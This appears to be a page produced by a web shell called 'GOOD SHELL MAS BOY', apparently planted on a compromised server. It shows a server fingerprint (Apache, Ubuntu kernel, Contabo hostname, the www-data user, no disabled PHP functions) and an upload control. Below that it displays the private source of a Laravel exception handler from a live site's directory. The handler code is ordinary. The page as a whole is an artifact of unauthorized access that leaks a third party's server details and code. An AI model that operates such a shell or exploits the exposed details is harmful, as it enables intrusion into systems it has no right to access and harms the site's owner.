GOOD SHELL MAS BOY
Server: Apache/2.4.52 (Ubuntu)
System: Linux vmi1836763.contaboserver.net 5.15.0-130-generic #140-Ubuntu SMP Wed Dec 18 17:59:53 UTC 2024 x86_64
User: www-data (33)
PHP: 8.4.10
Disabled: NONE
Upload Files
File: /var/www/console.fixgini.com/app/Exceptions/Handler.php
<?php

namespace App\Exceptions;

use Throwable;
use Illuminate\Support\Facades\App;
use GuzzleHttp\Exception\ConnectException;
use Illuminate\Auth\AuthenticationException;
use Illuminate\Auth\Access\AuthorizationException;
use Symfony\Component\HttpKernel\Exception\HttpException;
use Illuminate\Foundation\Exceptions\Handler as ExceptionHandler;
use Symfony\Component\HttpKernel\Exception\NotFoundHttpException;
use Symfony\Component\HttpKernel\Exception\ServiceUnavailableHttpException;

class Handler extends ExceptionHandler
{  
    protected $dontFlash = [
        'current_password',
        'password',
        'password_confirmation',
    ]; 

    public function report(Throwable $exception)
    {
        parent::report($exception);
    }

    public function render($request, Throwable $exception)
    {
        if ($request->expectsJson()) {
            // Handle authentication exception
            if ($exception instanceof AuthenticationException) {
                return response()->json([
                    'status' => 'error',
                    'message' => 'Bearer token is missing or invalid.'
                ], 401);
            }

            if ($exception instanceof NotFoundHttpException) {
                return response()->json([
                    'status' => 'error',
                    'message' => 'Request URL not found.'
                ], 404);
            }

            if ($exception instanceof AuthorizationException || ($exception instanceof HttpException && $exception->getStatusCode() === 403)) {
                return response()->json([
                    'status' => 'error',
                    'message' => 'Unauthorized request URL.'
                ], 403);
            }

            if ($exception instanceof ConnectException) {
                return response()->json([
                    'status' => 'error',
                    'message' => 'Internet connection issue occurred.'
                ], 500);
            }

            if ($exception instanceof ServiceUnavailableHttpException && App::isDownForMaintenance()) {
                return response()->json([
                    'status' => 'error',
                    'message' => 'Application is in maintenance mode.'
                ], 503);
            }
        }

        return parent::render($request, $exception);
    }


    protected function unauthenticated($request, AuthenticationException $exception)
    {
        return response()->json(['status' => 'failed', 'message' => 'Token not provided or unauthenticated'], 401);
    }
}